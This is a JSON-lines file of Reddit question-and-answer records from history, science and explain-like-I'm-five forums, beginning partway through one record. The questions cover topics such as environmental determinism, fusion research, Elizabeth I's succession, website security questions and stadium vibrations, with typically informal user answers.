wish to reduce complex issues to simple causes, although I may be overly deterministic here :). \n\nEDIT: Here's a very good answer from /u/anthropology_nerd examining what's wrong with Guns, Germs and Steel, and it may help you to understand why we usually dislike determinism.\n\n_URL_0_\n\nTo add a personal experience: I have a MSc in engineering, with experience from product development, and I'm now finishing a PhD in what is to all intents and purposes history of technology. In both of my \"professional lives\" I've noticed that the more I know about the subject, the more I understand how deeply unsatisfactory the simple, deterministic explanations I used to believe have been. As a layman, I used to have strong opinions about both topics; after years of study and practice, I'm far more ambivalent. To follow a rule that the fields I've happened to study are not likely to be exceptions, I now consider the deterministic and simplistic explanations in the fields I have no idea about as suspect until proven otherwise. \n\n", "Oooowee, it\u2019s a geographer\u2019s time to shine! So I will start with your first question, why is environmental determinism incorrect, and leave the second question (why is Europe \u201cmore technologically advanced\u201d) for a historian of pre-Columbian America, although 1491 by Charles Mann is a good overall read about the history of indigenous people pre and during contact which goes through some myths about how advanced civilizations were and also challenges what our notions of \u201cadvancement\u201d are. \n\nYou may actually not learn a lot about environmental determinism in history, because while it has recently infiltrated this discipline\u2019s ranks, it is a geographical theory at its core. In fact, it was **the** theory that geographers put forth as the reason for geography to be a separate discipline in universities, around the turn of the century when universities were professionalizing and disciplinary boundaries were becoming more rigid. Gone were the days of \u201cnaturalist-biologist-philosopher-political theorist\u201d \u2013 you had to be *a specialist.* (Man, as an interdisciplinary grad student today, but a woman, I\u2019m both nostalgic and not at all nostalgic for those times.)\n\nWe can find the beginnings of \u201cenvironment determines people\u201d (but not the same thing as environmental determinism) in the classical era, when the concept of \u201chumours\u201d abounded. Hippocrates came up with the idea of human health and behavior determined by the balance of \u201chumours\u201d or bodily fluids, and said that climate would influence the balance of those humours and therefore people\u2019s temperament. This continued through the medieval times up into Renaissance, particularly among English scholars who conveniently found that England\u2019s mild temperature (not too hot, not too cold) bred the perfect people. The debate over environment\u2019s influence on people continued, particularly after Europeans colonized the New World, because of course if climate influenced people, what would that say about the descendants of these Europeans in new climates? Anti-deterministic thinkers noted that perhaps \u201cparticular climates had not made races, but that races were made for particular climates\u201d (Livingstone p. 372). This essentially meant that different \u201craces\u201d of man would have been created at different times, as in, had different origins and were wholly different creatures from each other. That\u2019s a terrifying thought \u2013 in many ways, even though environmental determinism is deeply racist, it\u2019s actually *less racist* than the other possible dominant ideology because at least it claimed all humans were the same species.\n\nSkipping ahead a bit in time: Environmental determinism as a named theory comes after, but is not directly evolved from, Darwinism and neo-Lamarckian influences on geography. Quick review: while Darwin\u2019s theory of evolution is the one we all learn today (survival of the fittest, natural selection, blah blah blah) you may also recall from high school science that Lamarck also put forth an (incorrect) version of evolution. The giraffe was the quintessential example: a giraffe with a shorter neck lives in an area where all the trees have leafy crowns. In order to reach the delicious leaves, the giraffe stretches his neck ever so slightly, elongating it to reach higher leaves. Then these stretched giraffes have babies, with slightly longer necks inherited from their parents, and those babies learn to stretch their necks as well, and on and on. We can more easily see the origins of deterministic thinking here (people can\u2019t pass down climatic adaptations that they choose themselves to their children in their DNA) and also clearly point to how its scientific foundations are fundamentally wrong. \n\nTwo American geographers are noted for pushing this theory, as a way to stake geography\u2019s claim separate from geology, or anthropology, and Ellen Semple is the most well known of the two. The other is Ellsworth Huntington, who served as the president of the Association of American Geographers, and I will quote from his presidential address of 1924 here: \n\n\u201cThe pinnacle of geography is reached when we are able to explain why certain types of human character, certain manifestations of genius, and hence certain lines of progress and stages of civilization are located in various parts of the world. Why, for example, was a marvelous outburst of genius concentrated in the little province of Attica? Why are the people of South China the most progressive of those who long lived within the tropics, while the northern Chinese, on the contrary, are among the most backward of the people in latitudes 35 degrees to 40 degrees?\u201d \n\nAnd it goes on. Later gems include: attributing cultural traits to natural selection (such as calling those who saved more money to immigrate to Australia \u201cselected because they have the ability to save more money\u201d); praising California\u2019s people because it is so \u201cdifficult\u201d to reach (\u201cThe easier the migration, the lower the average quality of the migrants.\u201d) which as a lifelong Californian I find just so hilarious; and just some blatant racism (\u201cIt may be pure accident, but it was interesting to me that the first and only educated Chinese woman with whom I ever dined was a Hakka.\u201d) \n\n(This history as stated above is a selected summary of Livingstone\u2019s chapter \u201cEnvironmental Determinism\u201d in The Sage Handbook of Geographical Knowledge 2011.) \n\nEnvironmental determinism really fell out of style around World War II in geography, partially because geography as a field was greatly changed by the scientific-military-academic-industrial complex of the war (see Barnes and Farish 2006 \u201cBetween Regions: Science, Militarism, and American Geography from World War to Cold War\u201d for an excellent history of that). It is still a pretty untouchable subject in the field, except to criticize, which is why Diamond\u2019s book causes many groans in geography departments. I know that many others have already taken apart why his book in particular is so flawed, but I will still summarize Blaut\u2019s argument in his 1999 article \u201cEnvironmentalism and Eurocentrism\u201d in the Geographical Review. Essentially he points out Eurocentric historians and geographers make multiple fatal flaws, and I\u2019ll quote directly because it\u2019s excellent: \n\n\u201cThe argument becomes environmentalistic if it either claims that an environmental quality existed in Europe when it did not exist there, or claims that an environmental quality as an important cause of European progress when the truly important causes were cultural, or\u2014most crucially\u2014makes a false comparison with the environments of other places and then proclaims that the differences between European and non-European environments explain, or help to explain, the differential rise of Europe.\u201d \n\nSo Blaut clearly takes down Diamond geographic arguments \u2013 that domestic plants can\u2019t be disseminated on north-south continential axes (hello, distribution of corn planted from modern day Massachusetts to Peru); that sedentary farming is the most ultimate evolution of human behavior; some clear geographic lies (for instance about Europe\u2019s geography \u201cseparating\u201d groups from each other when that was not at all the case). \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/2mkcc3/how_do_modern_historians_and_history/"], []]}
{"q_id": "44502i", "title": "how does wendelstein 7-x help achieve nuclear fusion?", "selftext": "Wendelstein 7-x is an experiment german scientists hope will advance the quest for nuclear fusion, but how does it relate to nuclear fusion? \n\nArticle in question: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44502i/eli5_how_does_wendelstein_7x_help_achieve_nuclear/", "answers": {"a_id": ["czng4qm"], "score": [2], "text": ["Humans have known how to start hydrogen fusion for decades. It's called a hydrogen bomb.     \nThe thing is, we haven't quite figured out how to keep it going while keeping it contained yet.  \nWendelstein 7-x is there to figure out how we can keep that fusion reaction going while simultaneously not melting everything in a 1 block radius.  \nOnce we can keep it going we can use it to power cities rather than destroy them.  \nWhen fusion happens in hydrogen, it provides so much energy that it turns the gas to plasma. This plasma is so hot no material we know can contain it without melting. But plasma is magnetic, so the Wendelstein 7-x uses magnets to keep the plasma contained."]}, "title_urls": [], "selftext_urls": ["http://www.cbc.ca/news/technology/nuclear-fusion-greifswald-1.3431541"], "answers_urls": [[]]}
{"q_id": "3b74ei", "title": "Is Terence Mckenna's 'Stoned Ape Theory' logical?", "selftext": "Is [Terence Mckenna's 'Stoned Ape Theory'](_URL_0_) logical? If yes, how can we use that information to better our understanding of human origin?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3b74ei/is_terence_mckennas_stoned_ape_theory_logical/", "answers": {"a_id": ["csna62k"], "score": [3], "text": ["I believe that's what you'd call a crackpot theory. He bases so many assumptions off his initial argument that consuming shrooms for millenia made us conscious and intelligent. You have to buy into 2 unlikely things to even consider the stoned ape theory.\n\n1. That consuming shrooms has some effect on animal intelligence and the emergence of consciousness. (we can debunk this already, evidence of consciousness can be found in many animals, not just humans, and is consistently proven across many intelligent species. It's not caused by shrooms)\n\n2. That the diet of early hominids always contained these magic shrooms consistently for millenia. (huge flaw here in that it relies on #1 being true to be relevant at all)"]}, "title_urls": [], "selftext_urls": ["https://youtu.be/ZnEKoFrx1rI"], "answers_urls": [[]]}
{"q_id": "17my86", "title": "too much to learn?", "selftext": "this may sound like a weird predicament and i apologize in advance if this doesn't quite make sense, but as a budding history major, i find myself having encountered a problem. i want to learn about far too much. too much information intrigues me for me to possibly be able to take it all in and thoughtfully analyze it. however, i still wish to. learning new things is my favorite thing to do, especially new things that change the way i think about something. in fact, i have a hard time forming a solid opinion on many things simply because I know there is far too much involved in them that i don't know about for me to be able to form a good opinion on the matter. so i guess what i am asking you /r/AskHistorians, is have you ever found yourself in a similar predicament? wanting to explore too much and finding yourself overwhelmed by the amount of information available to you? if so, were you able to either overcome this or make it work to your advantage in some way? and if you have, how did you go about doing that? once again, i apologize if this doesn't quite make sense, its just something that I've been thinking about lately and id like a second point of view on it", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/17my86/too_much_to_learn/", "answers": {"a_id": ["c8700qt"], "score": [2], "text": ["You have an entire lifetime to learn.  Keep at it, one thing at a time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1df71s", "title": "titration", "selftext": "How does Titration work exactly? What is it used for? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1df71s/eli5_titration/", "answers": {"a_id": ["c9pq1to"], "score": [11], "text": ["I don't think you should have asked it here in ELI5 because some sciencey terms must be used in order to explain, but here it goes:\n\nLet\u2019s say you have na undetermined amount of cereal in a bowl and you have the urge to know how much is in there. Next thing you know is one part of cereal has to be mixed up with two parts of milk in order to make the perfect cereal bowl to your breakfast (you can notice if it\u2019s perfect just by looking). So you get a bottle with 100 parts of milk and pour some in the bowl until you get that perfect cereal bowl. When you finally have it, you notice there are 60 parts of milk left in the bottle and, using math, you know you poured 40 parts in the bowl. If you had to pour 40 parts of milk in the unknown amount of cereal in order to make the perfect cereal, you can use your logic (and proportion) to guess you had 20 parts of cereal in the bowl.\n\nThe differences in chemistry labs are: Parts are concentration; Cereal and milk are substances that react forming something colorful or easy to identify (the perfect cereal mix); The stoichiometry must be perfectly done; The cereal is usually mixed in something (otherwise you\u2019d just have to weigh it or measure its volume); The bowl is a beaker and the bottle is a burette."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "648xtj", "title": "How quickly did World War I soldiers and generals realize that the war wasn't going to be quick in 1914?", "selftext": "So there were all the propaganda and speeches on the line of \"Be home by Christmas\" on the opening of World War I. Of course, we all know how that ended up when a conflict people suspect would take months took four years.\n\nHow quickly did the soldiers realize that things weren't going as well? Were there journals that stated one day like \"We'll attack the Frenchie/Krauts, we're going to drive them outta here!\" then the next entry is \"We're going to be here a long, long time.\" Or like how they envisioned the war to be and then when the shelling started, their vision on their prospects took a complete turn no matter how optimistic the overall situation was?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/648xtj/how_quickly_did_world_war_i_soldiers_and_generals/", "answers": {"a_id": ["dg1o451"], "score": [3], "text": ["Many important generals and military theorists had suspected that the next major European war would be a long one; these included two of the most controversial chiefs of the German General Staff, Schlieffen and the younger Moltke.  Schlieffen had observed the extended length of tactical actions in modern wars -fourteen days at the Battle of Mukden in the Russo Japanese War against mere hours at Mars-La-Tour and K\u00f6niggr\u00e4tz- and that as such, campaigns might drag on indefinitely.  In the highly integrated European economies of the period, it was believed that a war so protracted would bring widespread economic ruin.  Briefing his commanders before the 1905 maneuvers, Schlieffen warned them how easily modern warfare could slip into a grinding positional struggle, and advised them to keep up a vigorous offensive tempo precisely to keep this from happening.  In planning for a war with the French, he postulated that if the French retreated behind the Marne or Seine rivers without being enveloped by the German Army's right wing, the war would be endless.\n\nBy the end of the 19th century, it was increasingly believed that the size of modern armies, their logistical requirements, and the nature of their weapons made them difficult to destroy quickly; with the sheer number of men mobilized, it was possible for them to extend their frontage to the sea with ample reserves left over.  Wars would become protracted struggles for positions, in which the determinant of victory would be a combatant's ability to endure.  \n\nAdditionally, the experience in France in 1870 heralded the coming \n*Volkskrieg*, the national struggle for existence.  As Moltke the Elder feared and Moltke the younger believed, wars would no longer be fought on the frontier, solely the domain of military professionals; all the resources of the nation would be mobilized, and an invading army could expect resistance through the whole depth of the hinterland.  This would again protract the war; it would continue until the strength of the people on one side was finally broken.  \n\nOne can see evidence of this in the first operations of 1914; when the German Army's right wing advanced through Belgium, it carefully avoided crossing through the Maastricht Annex (a thin strip of Dutch territory between Belgium and Germany) to avoid violating Dutch neutrality.  This would allow Germany to continue importing vital supplies through the Netherlands; it was expected that Germany would be blockaded, but as long as the Netherlands remained neutral, neutral countries could ship goods into Dutch ports, which would then be purchased and transported over land into Germany.  This policy was an impediment to German armies crossing through Belgium, and would not make sense unless Moltke the Younger was expecting a war that would last long enough for the continued importation of material to become relevant.  \n\n**TL;DR: Before the war even began.**\n\nAntulio J. Echevarria II's book *After Clausewitz: German Military Thinkers Before the Great War* is an excellent guide to the theoretical understanding of war as it evolved in Germany between 1871 and 1914."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "37oyvv", "title": "what is the x-37b and why is the u.s. air force building it instead of nasa?", "selftext": "I thought I remember reading somewhere that there's a treaty against \"militarizing\" space (though it could have been a novel). But seriously, does anyone know the purpose of this thing?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37oyvv/eli5_what_is_the_x37b_and_why_is_the_us_air_force/", "answers": {"a_id": ["crol3sn", "crolxzk", "crom78i"], "score": [2, 3, 2], "text": ["Don't you think that's a little bit of a formality? Look at the careers of most shuttle pilots and commanders. Most transferred to NASA after a career as a aviator for the air force or navy. \n\nGPS is operated by the USAF, ICBM make a routine appearance in space. ~~SR-71 and U2 planes went into space.~~ The US, China and probably Russians have all shot down satellites with missiles. Star Wars project planned to intercept ICBMs at the apex of their ballistic trajectory. \n\nI'm sure there are other examples, but that's what I can think of right now.", "The treaty you're thinking of, is the UN Outer Space Treaty, which states we can't put nukes in outer space, among a other things.\n\nThe X-37B itself, is a test bed for NASA and the USAF, in hopes of a new reusable shuttle. It's also suspected of being used to spy on the capabilities of other countries' military and intelligence satellites. Those missions, are not banned by the UNOST, so the X-37B can be operated by the USAF freely.", "The X-37 did, in fact, start as a NASA project. It was transferred to DARPA in 2004 and later became a classified USAF program. As for its purpose, the official word from the Air Force is that the X-37B is intended to \"demonstrate reusable space technologies.\" Exactly what that means is anyone's guess. \n\nPersonally, I suspect that its missions and experiments aren't much different from the classified DoD Shuttle flights years ago. Lots of sensor and materials tests, possibly some microsat deployments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "32imdo", "title": "Looking for a photograph from the Vietnam Conflict", "selftext": "I hope I'm posting in the right sub. My father told me a story about when he was young (about 8 or so), and had just learned about atomic bombs. At dinner one night he asked his mother why the Americans didn't just drop atomic bombs to kill all the Viet-Cong to end the war. His mother got up, went to the living room, and came back with an issue of Time Magazine opened to a photograph of an American soldier smiling while holding a severed head in each hand. He said it made him sick to his stomach and forever changed his idea of war. I found a piece of art that uses the photo, but never the photo by itself, despite a lot of searching ( _URL_0_ ) If anyone knows where I can find this original photo, I would greatly appreciate it.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32imdo/looking_for_a_photograph_from_the_vietnam_conflict/", "answers": {"a_id": ["cqbulfn"], "score": [4], "text": ["I've never heard of this photograph before. In fact, through all my readings on the Vietnam conflict, I've never heard of an image of an *American* soldier holding severed heads and smiling. Such a photograph would have been widely shared, in particular in the press, yet nothing came to mind.\n\nThen it struck me: In the photograph that you're referring to, it's not an American soldier who is portrayed: It's a Cambodian soldier. The original photograph was taken by West German photographer Dieter Ludwig in November 1970 and first published in *Time* magazine on February 1st, 1971. It shows a Cambodian soldier holding the severed heads of soldiers belonging to the PAVN (People's Army of Vietnam, the North Vietnamese Army).\n\nWhile the original article is behind a paywall on the *Time* website, [I found a copy of the photograph as well as an accompanying article putting the photograph into context from the *Michigan Daily* \\(February 8, 1971\\).](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://www.flickr.com/photos/artoridiocy/152702450/"], "answers_urls": [["https://news.google.com/newspapers?nid=2706&amp;dat=19710208&amp;id=lgRKAAAAIBAJ&amp;sjid=Yh4NAAAAIBAJ&amp;pg=1159,1505633&amp;hl=en"]]}
{"q_id": "62xdm9", "title": "Queen Elizabeth I and her heir.", "selftext": "Queen Elizabeth I's heir was James VI of Scotland. His mother was the infamous Mary Queen of Scots, whom Elizabeth had had executed. I understand that James VI and Elizabeth I developed a close relationship via letters over many years, and that Mary had had participated in plots to over throw Elizabeth, but I still don't understand how Elizabeth could execute Mary whom she considered a rival....Yet name Mary's son James VI as her heir. Can you explain how and why Elizabeth would execute the mother...Then leave her entire kingdom to the son? I find it very strange.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/62xdm9/queen_elizabeth_i_and_her_heir/", "answers": {"a_id": ["dfqdem1"], "score": [6], "text": ["Actually, Elizabeth didn't name him as her heir. As she got older, her relations with him (initially rather frosty) seem to have improved, especially after they signed a treaty of mutual defence in 1586, but she never officially announced that he (or anyone else) was her heir.  \n\nIn fact, some of her own ministers went behind her back to secretly correspond with James about ensuring he was named King after her death, particularly in the last 2 years of her life, when it was fairly obvious that her health was failing. This was partly because he was the most obvious successor, a Protestant, and one with experience of being King and his own heirs, and thus most likely to lead to a clear and peaceful succession. The other reason of course, was just that these ministers wanted to continue in their current position under the new King.\n\nEventually, in 1603, Elizabeth died, and her chief minister, Robert Cecil (who'd already secretly sent a draft proclamation of Kingship to James) had James declared publically as King by that afternoon. A few days later James left for London, slowly going south enjoying the hospitality of various lords, and eventually arriving in London for his coronation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "60ftnb", "title": "why do so many sites have a selection of pre-made security questions, rather than allowing users to create their own?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/60ftnb/eli5_why_do_so_many_sites_have_a_selection_of/", "answers": {"a_id": ["df61fdn", "df61hl7", "df62jdu", "df62tz8", "df64ztn", "df661y8", "df66ij4", "df670fr", "df69jkg", "df6a59c", "df6ac4p", "df6an7l"], "score": [145, 27, 14, 13, 2, 6, 6, 5, 3, 3, 2, 2], "text": ["It ensures that the security questions are of some level of difficulty. If they allowed users to define their own questions then some would be \"My password is hunter2.\"", "Because people are idiots.\n\nPeople selecting security questions like \"write 'abc123'\" or \"what's my name\" or such would mean multiple people could have their accounts broken into, and undoing damage caused by their stupidity would by all likelihood be paid by the company, not the idiot user.\n\nSo you remove ways for users to be idiots and thus improve security.", "People can't remember the answers they gave.  They certainly won't remember the questions.\n\nLPT: never answer those security questions accurately.  Mother's maiden name?  Please!  Who can't find that info?\n\nI always make up answers to those questions so no one else could find the info or guess the answer.", "As a UX designer, I HATE security questions. If you want a user to have 4 passwords, ask for 4 passwords (not advised).\n\nWhen I come across those, I always make the answer the last word of the question. My password is unique and secure enough.", "A lot of these questions can be way to easily done in public. \n\nWhat If people especially love dogs or comic books? \n\nHey anon,  what's your favorite comic book?  Oh it's blah blah because it has the best .... 30 minutes later. \n\nMmk ", "New forgotten password questions:\n\nWhat type of pornography do you masturbate to most often?\n\nHow many times has someone farted in your face?\n\nWhat was the first job you were fired from?", "My answers to secret questions are usually something like n3NbYoy\\?2p7HUC}CSq/-x!2L;dx & S:z > \"%3Ar/ & 1},\\EC6u'nubh$Fw1qLs,cA. \n\nEvery site asks the same questions, and you know that the answers aren't hashed/salted. If it's not safe to store a password in plaintext, what makes it ok to store the string used to short-circuit the password? ", "Another reason is to obfuscate the validity of a given username. Our bank login doesn't tell you whether you put in a valid username or not; invalid usernames just get random security questions / two factor authentication phone numbers, because we don't want people to trial-and-error their way into identifying an existing username. ", "To piggy back off your question. I just would like them to include non open ended questions that can vary. \"What was your favorite movie as a child?\" A year or two from now I'm not going to remember  what age I took as being a child, or what answer I put because who knows what movie I remembered then, compared to what movies I remember I watched now. I would prefer hard point questions. \"Your first car.\" or \"The house number to your longest stayed at childhood home.\"", "My bank permits me to choose my own security question and answer for phone security. \n\nMy question:  _You're not going out dressed like that, are you_?\nThe answer:  _You can't tell me what to do!  You're not my real father!_\n\nThere are a wide range of question/answer pairs like this that can be used to amuse even the most jaded bank customer service representative.\n", "I had a really shitty drop down set of security questions recently, too.\n\nThey were like...\nIn what city were you married?\nWhat is the name of your eldest child?\nWhat is the name of your favorite niece or nephew?\nWhat is the name of the doctor who delivered your child?\nIn what city was your honeymoon?\n\nAnd so on.\n\nYou had to select THREE.\nI'm unmarried and it was nearly impossible to complete. I was blown away. Usually sets like that have questions that can work for anyone. I want to say this was also from something government related but I honestly don't remember. It might have been a new 401k setup.", "What's really scary is a lot of those \"What kind of X are you\" survey things you see people post on Facebook often contain one of these security questions but framed within the context of the survey so it seem innocuous. Build enough of these survey sites and collate the information and you are building an amazingly detailed profile of someone. I just don't get why people are so willing to just give unknown entities their information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "djnyfi", "title": "Oliver Cromwell reversed the English ban on Jews. Did this make much difference to the number of Jews in England?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/djnyfi/oliver_cromwell_reversed_the_english_ban_on_jews/", "answers": {"a_id": ["f5i80u2"], "score": [7], "text": ["Cromwell\u2018s personal approval of Jews made it safer for Jews in England to be more open about being Jewish . Cromwell wanted to formally readmit Jews back into England, but there was a lot of pushback, especially from the English merchants who regarded Jews as competition. On 4 December 1695, Oliver addressed the Council personally on the subject of the Jews. There was many objections raised during the final session of the council on 18 December. Oliver did his best to interrupt the debate, saying matters should must be left in his own hands and the council. He wanted to prevent any compromise being reached, which might have ended with the suggestion that Jews should only be readmitted to decayed ports and town and should then pay custom duties on imports and exports.\n\n > \u201cFrom now on, the status of the Jewish community in England entered a curious amorphous phase, in which it was generally believed that they were allowed back, and yet there was absolutely no legal backing to the belief, beyond the personal patronage of Cromwell\u201d Cromwell, the Lord Protector Antonia Fraser\n\nThis mean there was no formal readmission by Cromwell. However, there were Jews already living in England before Cromwell had even taken power, so the Jews already residing could now feel more secure about being openly Jewish. For example, in March 1656 the Jews succeeded in their petition for a cemetery at Mile End. As the Spanish-Anglo war developed, the Jews passing off as catholic Spaniards feared that their property would be confiscated like other Spaniards. When the goods of Don Antonio Rables were about to be seized, he made plea that he was in fact Portuguese, but this failed. The alternative and more daring plea that he was Jewish was put forward.\n\n > \u201cRobles made a personal appeal to Oliver, stressing his Jewish nationality, and referring to him hopefully as the \u201cprotector of afflicted ones\u201d. And Robles, while admitting that he was uncircumcized and had attended Catholic chapels, succeeded in the object of his petition: in June the Council, spurred on by Cromwell, finally found that he was \u201ca Jew born in Portugal\u201d, and that the confiscation was therefore to be rescinded.\u201d Cromwell, the Lord Protector Antonia Fraser\n\nJews already living in England could now be more open about being Jewish, but they were still not formally readmitted. Therefore, England for many Jews (like Menasseh ben Israel) was still not yet an official refuge for Jews so it didn\u2019t make much of a difference in the number of Jews.\n\nIt wasn\u2019t until Charles II came to power that Jews were formally and legally readmitted. There was a petition presented to Charles II to undo the civil rights granted to Jews by Cromwell.\n\n > \u201cA counter petition was drawn up...which pointed out that that Royalist Jews had supported King Charles in Holland, and that he had pledged himself to toleration in the future.\u2019 It was quite true: in September 1656 certain Jews at Amsterdam had applied to\u00a0the King rejecting the petition of their brethren to Cromwell, in respect of which Charles had graciously acknowledged their support and suggested that any contributions they cared to make to his cause would be rewarded with patronage hereafter...Finally after anxious moments in August 1664 the Jews were at last legally readmitted.\u201d Cromwell, the Lord Protector, Antonia Fraser\n\nSo Cromwell allowed Jews already living in England to be more open being Jewish, but he hadn\u2019t yet formally readmitted jews back into England by the time of his death, so it didn\u2019t make much of a difference to the number of Jews in England because England still wasn\u2019t regarded as a place of refuge for many Jews until Charles II formally readmitted jews.\n\nCromwell, The Lord protector by Antonia Fraser."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4a992y", "title": "Do buildings, such as stadiums, have to be designed to account for vibrations from fans and music?", "selftext": "I was at a lacrosse game last night that had about 12k people cheering and loud music blaring all the time. The cheap nose bleed seats i had were partly obstructed by very large I-beams so I started thinking about the buildings design, specifically how vibrations are taken into account . Do the vibrations due to music and what not have to be accounted for when designing the building?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4a992y/do_buildings_such_as_stadiums_have_to_be_designed/", "answers": {"a_id": ["d0ytyvv", "d0yznku", "d0z8ryd", "d0zam9y", "d0zeis4"], "score": [15, 5, 3, 2, 12], "text": ["University of Wisconsin at Madison's stadium:\n\n\"On September 6, 2003 (the Badgers' first home game of the season), with construction of skyboxes surrounding Camp Randall Stadium, UW officials decided to cancel the \"Jump Around\" due to worries about structural integrity. Stadium security and the local police department had been informed of this decision but no notification had been given to the fans.\"\n\n_URL_1_\n\nSource: _URL_0_\n\nEssentially college kids would jump up and down so much in the stadium during the song \"Jump Around\" that seismographs were recording the event; the entire stadium would shake.  They stopped playing the song because they had not built reinforcements beneath fan seats.", "That makes me wonder: The [LDS Conference Center](_URL_0_) has a balcony that seats probably 6000 people with no pillars holding it up. It does this using a cantilevered design where the balcony balances on a wall and large weights shift away as weight on the balcony increases. It allows all 21000+ people to have a completely unobstructed view of the stage. \n\nAnyway, given the cantilevered design, I wonder what would happen if all 6000+ people on the balcony jumped at once? And then I wonder, would the forces just balance out with a little bounce of the floor?", "Sonic vibrations tend to be of a much lower amplitude than other vibrations caused by footsteps or even wind. Engineers do consider material fatigue caused by repetitive loading/unloading or vibrations but will probably neglect sound as there are much larger forces at work.", "The major worry here would be mechanical resonance. If all the people  in the stadium collectively produced vibration whose frequency is greater than the natural frequency of the system, the amplitude of the vibrations would suddenly be exponentially higher, enough to collapse a whole structure.\n\n\n\nPerfect example for this is the Broughton Suspension bridge. The frequency of vibrations caused due to the marching of army troops matched the natural frequency of the bridge and the columns supporting the bridge collapsed. Design flaws also contributed to this disaster.", "Structural engineer here. First a disclaimer: I work on industrial structures, which are a different animal. I do deal with vibrations and dynamic loads, but it's more different than you might think. I don't have any practical experience in this area. But I think I can provide at least a few informed comments.\n\n**Yes, vibrations are absolutely taken into account when designing a stadium.** At least, they are nowadays. Can't say how true that is of stadiums built decades ago. In the past, structural design was more empirical than \"scientific\". I'm not sure a what point people started say, \"Hey, we really need to consider this more analytically than we do now.\" I can't imagine it was easy to do before computers! Would have involved a lot of simplifications and assumptions. But then again, old engineering methods often tend to be surprisingly impressive. :)\n\n**Vibrations for music are not considered**, as far as I'm aware. The main concern with vibration is that the frequency of the load will match up with the frequency of the structure, just like how you swing higher on a playground swing by pumping your legs at the right moment. If you just pump your legs rapidly you won't go anywhere. Vibration from music isn't going to cause problems here. And music has to be *pretty darn loud* before it's actually putting load on a structure.\n\nVibrations for humans jumping repeatedly in unison should definitely be considered in something like a stadium. Though I'm not comfortable saying exactly how this is taken into account. \n\nFor one, I would assume **they use a higher than average loading for people present.** The weight of human occupants is classified as a \"live load\", and would be applied on a per-square-foot basis. For a stadium, I imagine they use a bigger number for this than you'd use for something like an office building. That's partly because humans make up the majority of the live load in a stadium and because you've got a lot of them in a tight space. But also because you expect those humans to be moving around. It's not just vibration that's a concern here. Imagine thousands of fans all getting on their feet in a single exciting moment. **That puts stress in the structure on top of their static weight.** And the simple way to handle this is to assume a higher than normal static weight to begin with.\n\nI also believe that they take the fundamental frequency of the structure into account. Any structure has certain \"modes\" that it tends to naturally vibrate in. For example, here's [the first three modes of a simple building](_URL_0_) due to lateral loads. And each mode has a certain frequency. **So the key is to make sure that none of these frequencies match up with any expected loading frequencies.** Otherwise you end up with something like [Tacoma Narrows](_URL_4_). Determining the natural frequencies of a structure are fairly simple with modern structural analysis programs. I don't, however, know how they determine what range of forcing frequencies to consider. \n\nI'm sure there's plenty of study and history around that question, and a quick Google search suggest this. Top results include things like [research papers](_URL_1_) and [textbooks](_URL_3_) that make suggestions. I also know that the different folks who put together our building codes have suggestions of their own, like this AISC (steel) [Design Guide 11](_URL_2_). \n\n**In the end, it comes down to the engineer's judgement on how to take these things into account. But they certainly *should* be taken into account, by modern standards.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://badgerherald.com/news/2003/09/08/kiss-jump-around-goo/", "https://en.wikipedia.org/wiki/Camp_Randall_Stadium#.22Jump_Around.22_tradition"], ["https://en.wikipedia.org/wiki/LDS_Conference_Center"], [], [], ["https://www.wbdg.org/images/seismic_7.gif", "http://ef.engr.utk.edu/ef152-2014-06/m2/Spectator-Live-Loads.pdf", "http://www.civil.umd.edu/~ccfu/ref/Design-Guide-11-floor-vib.pdf", "https://books.google.com/books?id=ei8MBgAAQBAJ&amp;pg=PA137&amp;lpg=PA137&amp;dq=forcing+frequency+stadium&amp;source=bl&amp;ots=8x9oioQhVC&amp;sig=uWSQYIpzXUf66V9zkhM6klXuNSI&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwj78ZyUusDLAhURwmMKHbIcBGkQ6AEIHTAA#v=onepage&amp;q=forcing%20frequency%20stadium&amp;f=false", "https://media.giphy.com/media/duatwzNErHFKw/giphy.gif"]]}
{"q_id": "aojg5l", "title": "what is this gunk that formed on my desk and why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aojg5l/eli5_what_is_this_gunk_that_formed_on_my_desk_and/", "answers": {"a_id": ["eg19x3b"], "score": [2], "text": ["Well, the vape cartridge itself could have corroded, with the coins and the tomato passing an electric current through it.\n\nThe cartridge is designed to take in electricity, which heats up your fluid, and many times are made with copper wires. If the acid in the tomato interacts with the copper wiring and passes through into the pennies, it could cause corrosion in the various points of contact, and potentially leak the contents of the system, tomato juices and unused glycerin into the cup"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
